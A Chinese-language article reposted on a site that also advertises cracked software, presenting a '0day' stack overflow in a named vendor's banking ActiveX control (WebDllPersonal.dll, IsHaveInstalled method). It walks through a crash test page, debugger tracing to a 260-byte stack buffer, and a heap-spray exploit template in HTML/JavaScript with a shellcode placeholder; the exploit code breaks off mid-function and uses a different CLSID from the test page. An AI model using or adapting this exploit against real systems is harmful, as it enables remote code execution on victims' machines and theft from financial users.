免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 网站相关 > 网站安全 > 某公司终端用户控件远程溢出0day

某公司终端用户控件远程溢出0day

时间:2011-11-20 22:29来源:未知 整理:寂涯网络 点击:

 

北京飞天诚信科技有限公司是国内一家知名的 IT 公司,该公司涉及的产品我以前听说
过,在最近的一些安全测试中,我有幸再次接触到了该公司的产品,其中一些产品涉及到了
金融方面。这一次在我的测试中的目标程序是一个叫做“WebDllPersonal.dll”的ActiveX
控件。该控件是一个可以被浏览器加载的ActiveX控件,主要使用在金融方面。我们首先使
用 ComRaider程序来获取一下“WebDllPersonal.dll”控件的信息,如图1所示。

从图 1 中我们看到该控件注册了 6 个外部接口,即 ChangeUserPin、GetCertSN、
IsHaveInstalled、SotrePIN、 VerifyUserPin、VerifyUserPin1。我们先来看一看
IsHaveInstalled外部接口,它的函数原型为: 
 
Sub IsHaveInstalled (
   ByVal strProductName  As String 

 该接口只有一个参数,是一个字符串参数,所以我们可以测试一下该外部接口在处理
过长的字符串时会不会出现溢出现象。
为了测试该外部接口,我们需要写一段测试网页代码,代码如下:

<object classid="clsid:6CF4C18B-D93D-4866-9A80-8E87AB491057"
name="evil" ></object>
<script>
var a=Array(10000);
evil.IsHaveInstalled(a);
</script> 
  在上述这段网页代码中,我们设置了一个长度为 10000 个字节的变量a,将该变量作为
参数传递给了被测试外部接口IsHaveInstalled,如此长的参数,不知道会出现什么效果。
保存该测试网页代码为 test.htm 文件,并且将该文件上传到我们的测试 Web 服务环
境当中,现在打开浏览器,我这里使用的IE6,被测试环境为Windows XP SP3。在浏览器中
输入 test.htm 的网址,回车访问。我们惊奇的发现,在我们回车的那一瞬间,浏览器崩溃
了!
难道说,IsHaveInstalled 真的存在严重的溢出漏洞?启动 OllyDbg 程序,利用该程
序挂接 IE6浏览器进程,我们需要知道在浏览器发生崩溃时,到底出现了什么错误。
现在重新访问test.htm,我们终于看到了出现错误的原因。

图 2 中显示的画面,我们可以说是常常见到,这是典型的溢出漏洞发生时的画面,此
刻已经证明了漏洞的存在,我们借助heapspray技术已经可以利用该漏洞了。但是,在此之
前,我们还需要知道漏洞时怎么发生的。
重新运行 OllyDbg 程序,跳转到函数 DispCallFunc 部分,因为该函数是系统调用
ActiveX 控件的关键函数,所以在该函数上下断点我们就可以跟进出错的外部接口
IsHaveInstalled。在函数 DispCallFunc 部分中,我们在该函数的第一次出现的 call ecx
指令下断点后,运行浏览器进程,同时访问 test.htm 网页,此刻,OllyDbg 发生了中断,
如图 3所示。

断点发生后,压F7键进入 IsHaveInstalled函数,

在这个函数中,我们看到了一些敏感的字眼,其中“sub esp,104”是开辟一个栈空
间,“104”即 260 个字节。这个有限的空间,却用来在后期装入我们传递的参数a,难怪会
发生溢出漏洞。
现在知道了漏洞发生的原因,我们最后就可以利用该漏洞了,基本的利用代码如下所
示。

<object classid="clsid:8BE80FD3-B35E-CD48-1179-1B592DDEDDA7"
name="evil" ></object>
<script>
var heapSprayToAddress = 0x20202020;
 var shellcode = unescape("这里放入shellcode"); 
var heapBlockSize = 0x400000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0505%uebdf%uebdf");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
   memory[i] = spraySlide + shellcode;
}
var a=Array(10000);
evil.IsHaveInstalled(a);
function getSpraySlide(spraySlide, spraySlideSize)
{
  while (spraySlide.length*2<spraySlideSize) 
 
 {
  spraySlide += spraySlide;
 }

本页地址 http://www.jybase.net/wangzhananquan/20111120645.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com